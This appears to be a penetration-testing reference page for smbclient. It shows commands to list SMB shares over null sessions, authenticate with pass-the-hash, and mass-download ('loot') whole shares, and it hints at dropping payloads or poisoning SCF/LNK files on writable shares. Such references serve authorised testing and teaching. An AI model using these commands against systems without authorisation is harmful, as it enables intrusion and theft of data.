| Field | Detail |
|---|---|
| Summary | Browse and transfer files on SMB shares (FTP-style) |
| Category | SMB client / share access |
| Phase | enumeration, post-exploitation |
| Interface | CLI (interactive) |
| Platform | Linux |
| Licence | Open source (GPL, part of Samba) |
| Docs | https://www.samba.org/samba/docs/current/man-html/smbclient.1.html |
| Related | SMB and Active Directory enumeration, smbmap, enum4linux, rpcclient |
Samba's FTP-style SMB client — list shares, connect, and get/put files interactively. Where smbmap is the quick "what can I access?" sweep, smbclient is the hands-on tool for browsing a share, pulling files reliably, and uploading.
⚠️ Warning — Scope Accessing and modifying shares is active and logged. In-scope hosts only.
List shares
smbclient -L //10.10.10.5/ -N # list shares, null session
smbclient -L //10.10.10.5/ -U 'test%test123' # authenticated
smbclient -L //10.10.10.5/ -U 'CORP\test%test123'
smbclient -L //10.10.10.5/ -U test --pw-nt-hash <NThash> # pass-the-hash
Connect to a share
smbclient //10.10.10.5/Share -N # null session
smbclient //10.10.10.5/Share -U 'test%test123'
smbclient //10.10.10.5/Share -U test%test123 -c 'ls' # run one command, exit
Inside the smb:> prompt
| Command | Action |
|---|---|
ls / cd <dir> |
List / change directory |
get <file> / mget * |
Download one / many files |
put <file> / mput * |
Upload one / many files |
recurse ON |
Recurse into subdirectories |
prompt OFF |
Don't ask per file (needed for mget *) |
mask "" |
Clear the file mask so mget grabs everything |
lcd <dir> |
Set the local directory for downloads |
more <file> |
Read a file without downloading |
tar c backup.tar |
Tar the whole share to a local file |
Bulk download a whole share
smbclient //10.10.10.5/Share -N -c 'recurse ON; prompt OFF; mget *'
# or mirror it to a tarball:
smbclient //10.10.10.5/Share -N -c 'tar c loot.tar'
Useful flags
| Flag | Purpose |
|---|---|
-N |
No password (null session) |
-U user%pass / -W domain |
Credentials / domain |
--pw-nt-hash |
Authenticate with an NT hash (pass-the-hash) |
-c '<cmds>' |
Run ;-separated commands non-interactively |
-m SMB3 |
Force a protocol dialect |
-I <ip> |
Connect by IP when the name won't resolve |
-p <port> |
Non-default port |
Worked example
smbclient //10.10.10.5/Finance -U 'test%test123' -c 'recurse ON; prompt OFF; mget *'
Connect to the Finance share as test, turn on recursion, disable the per-file prompt, and download everything into the current local directory in one non-interactive command — ideal for looting a readable share once smbmap has flagged it as READ.
Kill-chain usage
Enumeration
smbclient -L //10.10.10.5/ -N # list shares (null session)
Post-exploitation
smbclient //10.10.10.5/Share -N -c 'recurse ON;prompt OFF;mget *' # loot a share
Where it fits
The workhorse for actually reading/writing SMB shares after enum4linux / smbmap / rpcclient enumerate them. Pairs with smbmap (which shows access levels first) in the SMB and Active Directory enumeration workflow; a writable share is often the foothold (drop a payload, poison an SCF/LNK, etc.).